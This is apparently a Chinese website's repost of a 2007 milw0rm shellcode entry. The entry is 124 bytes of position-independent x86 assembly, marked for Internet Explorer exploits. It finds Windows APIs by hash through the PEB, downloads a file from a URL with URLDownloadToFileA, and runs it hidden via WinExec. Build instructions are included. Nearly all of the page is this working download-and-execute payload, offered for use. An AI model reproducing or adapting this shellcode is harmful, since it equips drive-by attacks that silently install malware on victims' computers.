注册
登录
| 关键词： nbsp eax nbs push dwApi start code mov URLDownLoadToFil ebp |
; ; relocateable dynamic runtime assembly code example using hash lookup *** for IE exploits only *** ; the URLMON.DLL must already be loaded into the process space for this to work, so do not run on its own!! ; ; to test use /DTEST_CODE in ml command line ; ; URLDownLoadToFileA() / WinExec() / ExitProcess() | ExitThread() ; ; 124 bytes ; ; for testing: ; ; ml /c /coff /Cp /DTEST_CODE dexec32.asm ; link /subsystem:windows /section:.text,w dexec32.obj urlmon.lib ; ; wyse101 [at] gmail.com ; ; March 2007 ; .386 .model flat,stdcall ROL_CONSTANT equ 5 mrol macro iNum:req,iBits:req exitm <(iNum shl iBits) or (iNum shr (32-iBits))> endm mror macro iNum:req,iBits:req exitm <(iNum shr iBits) or (iNum shl (32-iBits))> endm hashapi macro szApi local dwApi dwApi = 0 forc x,szApi dwApi = dwApi + '&x' dwApi = mrol(dwApi,ROL_CONSTANT) endm dwApi = mrol(dwApi,ROL_CONSTANT) dw (dwApi and 0ffffh) endm .code assume fs:nothing code_start: jmp load_data IFDEF TEST_CODE extern URLDownloadToFileA :proc call URLDownloadToFileA ; included when assembled with /DTEST_CODE ENDIF setup_parameters: pop edi ; offset @cmd_start xor eax,eax ; eax = 0 cdq ; edx = 0 ; ******************************************************************** push eax ; exit code = 0 ; ******************************************************************** push eax ; SW_HIDE mov dl,(@cmd_end-@cmd_start)-1 ; this allows command up to 255 bytes push edi ; file name to execute ; ******************************************************************** push eax ; callback routine URLDownLoadToFileA push eax ; reserved, must be zero push edi ; file name to save as add edi,edx ; get offset of @url_start-1 stosb ; zero tail end mov dl,(@url_end-@url_start)-1 ; limit of 255 bytes for url push edi ; url to download file from push eax ; interface add edi,edx ; get offset of @urlmon-1 stosb ; zero tail end of url ; ********************************************************************* load_modules: push edi ; save current offset to hashes push 30h pop ecx mov eax,fs:[ecx] ; PEB base address mov eax,[eax+0ch] ; PEB_LDR_DATA LoaderData mov ebp,[eax+1ch] ; LIST_ENTRY InMemoryOrderModuleList scan_dll: mov ebx,[ebp+8] ; DllBase mov ebp,[ebp] ; Flink push ebp ; save mov eax,[ebx+3ch] mov eax,[ebx+eax+78h] ; IMAGE_DIRECTORY_ENTRY_EXPORT lea esi,[ebx+eax+18h] ; offset IMAGE_EXPORT_DIRECTORY.NumberOfNames lodsd xchg eax,ecx ; ecx = NumberOfNames lodsd add eax,ebx ; AddressOfFunctions push eax lodsd lea edi,[eax+ebx] ; AddressOfNames lodsd lea ebp,[eax+ebx] ; ebp = AddressOfNameOrdinals load_api: mov esi,[edi+4*ecx-4] add esi,ebx xor eax,eax cdq hash_api: lodsb add edx,eax rol edx,ROL_CONSTANT dec eax jns hash_api mov esi,[esp+8] ; get api hashes cmp dx,word ptr[esi] ; found a match? je call_api loop load_api pop eax ; check pop ebp ; jmp scan_dll call_api: pop eax movzx edx,word ptr [ebp+2*ecx-2] add ebx,[eax+4*edx] pop ebp ; modules pop edi ; api hashes call ebx ; call api stosw ; advance 2 bytes to next hash jmp load_modules ; do another, just keep going until ExitProcess is reached. ; ************************* load_data: call setup_parameters @cmd_start: db 'file.exe',0ffh ; WinExec("file.exe",SW_HIDE); @cmd_end: @url_start: db 'http://127.0.0.1/file.exe',0ffh ; url of file to download @url_end: hashapi <URLDownloadToFileA> hashapi <WinExec> hashapi <ExitProcess> ; ********************************************************************* end code_start ; milw0rm.com [2007-06-14] |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
